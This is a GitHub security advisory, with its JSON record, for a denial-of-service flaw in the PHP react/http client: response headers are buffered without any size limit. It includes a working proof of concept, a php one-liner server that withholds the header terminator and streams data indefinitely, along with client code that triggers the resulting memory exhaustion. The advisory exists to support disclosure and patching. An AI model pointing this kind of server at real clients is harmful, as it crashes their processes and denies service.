GHSA-G4F2-2PF3-2PWJ
Vulnerability from github – Published: 2026-10-15 20:09 – Updated: 2026-10-15 20:09Summary
React\Http\Browser and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. ClientRequestStream::handleData() appends every incoming byte to an internal buffer and only scans that buffer for the \r\n\r\n (or \n\n) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's memory_limit is exhausted and the process crashes.
This is an unauthenticated, network-reachable denial of service against any application that uses react/http as a client to fetch untrusted or attacker-influenced URLs, including via redirects.
Details
ClientRequestStream::handleData() is bound directly to the underlying connection's data event, so every byte the peer sends is appended with no size check:
public function handleData($data)
{
$this->buffer .= $data;
// buffer until double CRLF (or double LF for compatibility with legacy servers)
$eom = \strpos($this->buffer, "\r\n\r\n");
$eomLegacy = \strpos($this->buffer, "\n\n");
if ($eom !== false || $eomLegacy !== false) {
The only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.
The codebase already applies this class of limit elsewhere, but not symmetrically. RequestHeaderParser caps incoming request headers when acting as a server, and Transaction::bufferResponse() caps the response body, but only once the header section has already been parsed into a Response. Response header reception was the one stage with no limit at all.
PoC
An HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:
php -r '$s=stream_socket_server("tcp://127.0.0.1:18080"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,"HTTP/1.1 200 OK\r\nX-Fill: "); while (true) { fwrite($c, str_repeat("A",1048576)); usleep(10000); }'
A client fetching it, with memory_limit=64M:
$browser = new React\Http\Browser();
$browser->get("http://127.0.0.1:18080/")->then(
function () { echo "ok\n"; },
function ($e) { echo get_class($e) . ": " . $e->getMessage() . "\n"; }
);
Client memory grows steadily until the process dies with Allowed memory size ... exhausted inside ClientRequestStream::handleData().
Impact
Remotely triggerable, unauthenticated denial of service against any process using Browser to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.11.0"
},
"package": {
"ecosystem": "Packagist",
"name": "react/http"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104827"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:09:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`React\\Http\\Browser` and its lower-level HTTP stack impose no limit on the size of a response\u0027s header section while it is being received. `ClientRequestStream::handleData()` appends every incoming byte to an internal buffer and only scans that buffer for the `\\r\\n\\r\\n` (or `\\n\\n`) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client\u0027s memory without bound until PHP\u0027s `memory_limit` is exhausted and the process crashes.\n\nThis is an unauthenticated, network-reachable denial of service against any application that uses `react/http` as a client to fetch untrusted or attacker-influenced URLs, including via redirects.\n\n### Details\n\n`ClientRequestStream::handleData()` is bound directly to the underlying connection\u0027s `data` event, so every byte the peer sends is appended with no size check:\n\n```php\npublic function handleData($data)\n{\n $this-\u003ebuffer .= $data;\n\n // buffer until double CRLF (or double LF for compatibility with legacy servers)\n $eom = \\strpos($this-\u003ebuffer, \"\\r\\n\\r\\n\");\n $eomLegacy = \\strpos($this-\u003ebuffer, \"\\n\\n\");\n if ($eom !== false || $eomLegacy !== false) {\n```\n\nThe only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.\n\nThe codebase already applies this class of limit elsewhere, but not symmetrically. `RequestHeaderParser` caps incoming **request** headers when acting as a server, and `Transaction::bufferResponse()` caps the response **body**, but only once the header section has already been parsed into a `Response`. Response header reception was the one stage with no limit at all.\n\n### PoC\n\nAn HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:\n\n```bash\nphp -r \u0027$s=stream_socket_server(\"tcp://127.0.0.1:18080\"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,\"HTTP/1.1 200 OK\\r\\nX-Fill: \"); while (true) { fwrite($c, str_repeat(\"A\",1048576)); usleep(10000); }\u0027\n```\n\nA client fetching it, with `memory_limit=64M`:\n\n```php\n$browser = new React\\Http\\Browser();\n$browser-\u003eget(\"http://127.0.0.1:18080/\")-\u003ethen(\n function () { echo \"ok\\n\"; },\n function ($e) { echo get_class($e) . \": \" . $e-\u003egetMessage() . \"\\n\"; }\n);\n```\n\nClient memory grows steadily until the process dies with `Allowed memory size ... exhausted` inside `ClientRequestStream::handleData()`.\n\n### Impact\n\nRemotely triggerable, unauthenticated denial of service against any process using `Browser` to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.",
"id": "GHSA-g4f2-2pf3-2pwj",
"modified": "2026-10-15T20:09:56Z",
"published": "2026-10-15T20:09:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/reactphp/http/security/advisories/GHSA-g4f2-2pf3-2pwj"
},
{
"type": "WEB",
"url": "https://github.com/reactphp/http/commit/2558622d0b76227c60c61eac8a61572cb6638e8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/reactphp/http"
},
{
"type": "WEB",
"url": "https://github.com/reactphp/http/releases/tag/v1.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS"
}
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